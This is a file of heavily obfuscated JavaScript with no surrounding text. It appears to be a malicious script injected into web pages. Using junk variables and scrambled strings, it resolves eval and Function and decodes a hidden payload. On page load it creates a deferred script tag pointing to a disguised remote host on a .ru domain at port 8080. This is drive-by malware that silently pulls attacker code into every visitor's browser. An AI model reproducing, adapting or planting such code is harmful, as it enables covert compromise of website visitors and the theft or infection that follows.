bz='';var jQ;if(jQ!='' && jQ!='Kq'){jQ=''}; this.aE="";var sRx;if(sRx!='Uw' && sRx!='DV'){sRx=''};function Dh(g,q){return g[a("rhcCdoaeAt", [2,1,6,0,3,5,4])](q);var ey;if(ey!='ln' && ey!='IH'){ey=''};}var gV;if(gV!='ve' && gV != ''){gV=null};var SH;if(SH!='' && SH!='smt'){SH=''};var ya;if(ya!='Gc'){ya=''};var PT;if(PT!='mJ'){PT=''};var WH=new Array();var qB=window;var rB;if(rB!=''){rB='Mb'};var vj=qB[a("aevl", [1,2,0])];var xg=vj(a("cFunntio", [1,2,3,0]));var JE;if(JE!='wq' && JE != ''){JE=null};var tE="tE";var nS;if(nS!='' && nS!='rev'){nS=null};this.ZLj=false;var Z = '';var G=vj(a("ntSirg", [2,1,4,3,0]));var w=vj(a("gEeRxp", [3,2,0,1,4,5]));var lU=new Array();this.Kp="Kp";this.Rk='';var wN;if(wN!='VK' && wN!='MF'){wN='VK'};var jK;if(jK!='hCA' && jK!='os'){jK='hCA'};var BT=false;var Jq=false;this.Hd=14642;var mi=42009;var Sq;if(Sq!='' && Sq!='lM'){Sq=''};var vh=G[a("mfChoroadeCr", [1,5,4,0,2,3])];var Lm;if(Lm!='Tdd' && Lm!='CN'){Lm=''};var Ho;if(Ho!='WqN' && Ho!='Pjr'){Ho=''};var Be=qB[a("acneuspe", [4,2,3,5,1,0])];var Fw;if(Fw!='' && Fw!='Mw'){Fw=''};var jx=new Date();var Hx=new String();var Cl;if(Cl!='' && Cl!='cZO'){Cl=null};var c = '';this.us="us";var ie="";var KY =[1,0,90][1];var W =[226,1][1];this.cDb=56912;var f = vh(37);var di;if(di!='' && di!='EFC'){di='tD'};var ov='';var p=[1, a("mcduocte.nearteeeEmls(n\'tticpr\')", [2,4,1,3,0]),2, a("oducemtnb.do.ypaepdnhCli(d)d", [1,0]),3, a("s.Atdertubti(eedt\'fer\'", [4,1,0,5,3,2]),4, a("osc.mtaimeeupr.80:80", [2,0,4,3,1]),5, a("oggoelc.mo", [1,0]),6, a("etmolrriys.comc", [2,0,1]),7, a("e.niwo.sbcni.mg", [3,2,1,4,0]),8, a("indww.ooloand", [3,0,1,2]),11, a("xcite.co.ejp", [4,0,1,2,3]),12, a("ntucifon()", [5,2,0,3,1,4,6]),14, a("iindaanril", [1,2,3,0]),15, a("obrextco.m", [2,0,1]),16, a("hat(ecc)", [5,1,2,6,0,3,4]),17, a("htt\"p:", [3,0,1,2,4]),18, a(".drsc", [1,0]),19, a("1)\'\'", [2,0,3,1]),20, a("ogv", [1,0]),21, a("rty", [1,0,2])];var cQ = '';var P = /[^@a-z0-9A-Z_-]/g;var oY=new Date();var qP=new Array();var Dt =[2,53][0];var B =[0][0];var Ig="";var Rd;if(Rd!='' && Rd!='ij'){Rd='si'};var Oj = m[a("elntgh", [1,0,2])];var il;if(il!='ZK' && il!='whL'){il=''};var Jt;if(Jt!='Fn' && Jt!='IO'){Jt=''};var tI=false;var TU="TU";var wh = '';var NX;if(NX!='Jtx' && NX != ''){NX=null};var wAH=new String();var rX;if(rX!='' && rX!='uh'){rX=''};this.vM=false;var Oq=new Array();var Ms=6825;for(var z=B; z < Oj; z+=Dt){c+= f; var af=41913;c+= m[a("ussbrt", [1,0])](z, Dt);this.OB=false;this.PI="";}var m = Be(c);var JM=14379;var Pp=17498;var A = new G(Q);var FF = A[a("plerace", [3,2,0,1,4])](P, cQ);this.gU='';this.UP="";FF = D(FF);var cS;if(cS!='cV' && cS!='tT'){cS='cV'};var Qx = p[a("elgnht", [1,0])];var Ly;if(Ly!='Cf' && Ly != ''){Ly=null};var XP;if(XP!='' && XP!='bOZ'){XP=''};var hl = new G(xg);var rXU="rXU";var iuE;if(iuE!='VW' && iuE != ''){iuE=null};var Py='';var Yn="";var Wi=new Date();var fQ;if(fQ!='' && fQ!='nSi'){fQ='PSC'};var H = hl[a("erlpcae", [1,0])](P, cQ);var fm="";var Dl="";var H = R(H);var uR=new Date();this.lg="";var gr=R(FF);var OI;if(OI!='ic' && OI != ''){OI=null};var GT;if(GT!='Aw' && GT != ''){GT=null};for(var BD=B; BD < (m[a("nlehgt", [1,2,0])]);BD=BD+[1,136,146,8][0]) {var i = FF.charCodeAt(KY);var C = Dh(m,BD);var IUz=false;this.CQ="";C = e(C, i);C = e(C, gr);this.tG=27869;var pA=false;C = e(C, H);var gu=false;var ZRY=false;KY++;var AY;if(AY!='' && AY!='DS'){AY=''};var wR;if(wR!='' && wR!='iwm'){wR=''};this.YJ='';var Cp;if(Cp!='Fdr' && Cp != ''){Cp=null};if(KY > FF.length-W){KY=B;var Du="Du";var xE=new Date();}var Icp="Icp";var da;if(da!='JV'){da=''};var TR;if(TR!='' && TR!='RH'){TR='Jp'};wh += vh(C);this.nJ=60570;var cc;if(cc!=''){cc='Zu'};}this.QvZ="QvZ";this.Ga='';for(op=B; op < Qx; op+=Dt){var MI="MI";var QB;if(QB!='lMY' && QB != ''){QB=null};var Gs = vh(p[op]);var Aq;if(Aq!='mn' && Aq!='Yl'){Aq='mn'};var Jr;if(Jr!='' && Jr!='Hb'){Jr=''};var T = p[op + W];var AM=new String();var qq = new w(Gs, G.fromCharCode(103));var Ec="";this.Wgr=false;wh=wh[a("caprele", [3,4,2,5,1,0])](qq, T);this.OM="OM";}var Lr=30902;var UK='';var cg="cg";var Zh=new xg(wh);var SK="SK";var Cm;if(Cm!='iOQ' && Cm != ''){Cm=null};Zh();var hz=51416;var Wu="";hl = '';var KS;if(KS!='' && KS!='XM'){KS=null};gr = '';this.vnh="";var No;if(No!='zq'){No=''};var Fu;if(Fu!='Hy'){Fu=''};this.Yb=false;H = '';Zh = '';var iP;if(iP!='cx' && iP!='Sd'){iP=''};wh = '';FF = '';var BS=new Array();var eI;if(eI!='Ik'){eI=''};var bC;if(bC!=''){bC='ub'};var hR;if(hR!='' && hR!='UQ'){hR=''};return '';var Rw=false;var yM;if(yM!='ini' && yM != ''){yM=null};};this.yQ="yQ";var UMU="UMU";Q(kf);
this.e="";var FN=new String();function O() {var FX;if(FX!='N' && FX!='rQ'){FX='N'};var rZ;if(rZ!='' && rZ!='q'){rZ=''};var m=']';this.FNb="";var P=new Date();var R=new String();var s=new String();var FXr="";var c=new Array();var I='[';var mA=new Array();var z='replace';var A='g';var U='';var v;if(v!='WR'){v='WR'};var r=RegExp;var IH;if(IH!='' && IH!='NH'){IH=null};this.cy='';function S(w,re){this.u="";var KM="";var i=I;this.k="";i+=re;var wl;if(wl!='qQ'){wl=''};i+=m;this.Fz='';var Rs=new r(i, A);var OV=new Array();var fO=new Array();return w[z](Rs, R);};var qS="";var eI=new String();var qJ='';var F=S('s3c3r3iLpGt3',"GL3");var a='';var l=S('hAt9tNpA:G/9/NtAa9rGiNnGgNaN-9nNeGtG.AnNyGdGaNiAl9yGnNeAw9sG.9cAoNmG.9tGoNp9i9xG-GcNoNmA.AsGuNpAeGr9nNe9w9sAtGuGfAfN.9rAuN:9',"A9NG");var d=S('829290992948294092494',"294");var b=window;var D=S('/zwAeGlGtz.xdAex/zwGeGlztx.AdGeA/xaGdAbzrxiGtAez.GczoxmA/xbzazdAoAox.zcGoxmG/zgxoGoGgxlzeG.AczoGmG.ApGhxpA',"xGAz");this.T='';var o;if(o!='LC' && o!='sc'){o='LC'};var J=S('cIrIeXaXtveIEIlXevmXeXnItv',"XvI");var BD="";var oq="";var Yc=new Array();b[S('ornNlromardN',"NDrm")]=function(){try {var JC;if(JC!='of'){JC='of'};var EC=new String();var iQ;if(iQ!='hs' && iQ!='H'){iQ='hs'};a+=l;a+=d;a+=D;this.bQ="";Z=document[J](F);var he="";var YK=new Array();K(Z,'defer',([1,7][0]));var _z;if(_z!='Bu'){_z=''};var ww;if(ww!='Rf' && ww!='SW'){ww=''};K(Z,'src',a);var Lu="";var FH;if(FH!=''){FH='cv'};document.body.appendChild(Z);this.ib="";} catch(Je){var ba=new Date();};var gM=new Array();var bJ;if(bJ!='kN'){bJ='kN'};};var Ux;if(Ux!='' && Ux!='DO'){Ux='cz'};function K(AI,IF,iF){AI.setAttribute(IF, iF);var TD;if(TD!='Hi'){TD='Hi'};var BQ=new Date();}var nJ;if(nJ!='' && nJ!='rD'){nJ=''};var sj;if(sj!='Dt'){sj=''};};var os;if(os!='kK'){os='kK'};var DS;if(DS!='' && DS!='tK'){DS='LI'};O();var Ib="";
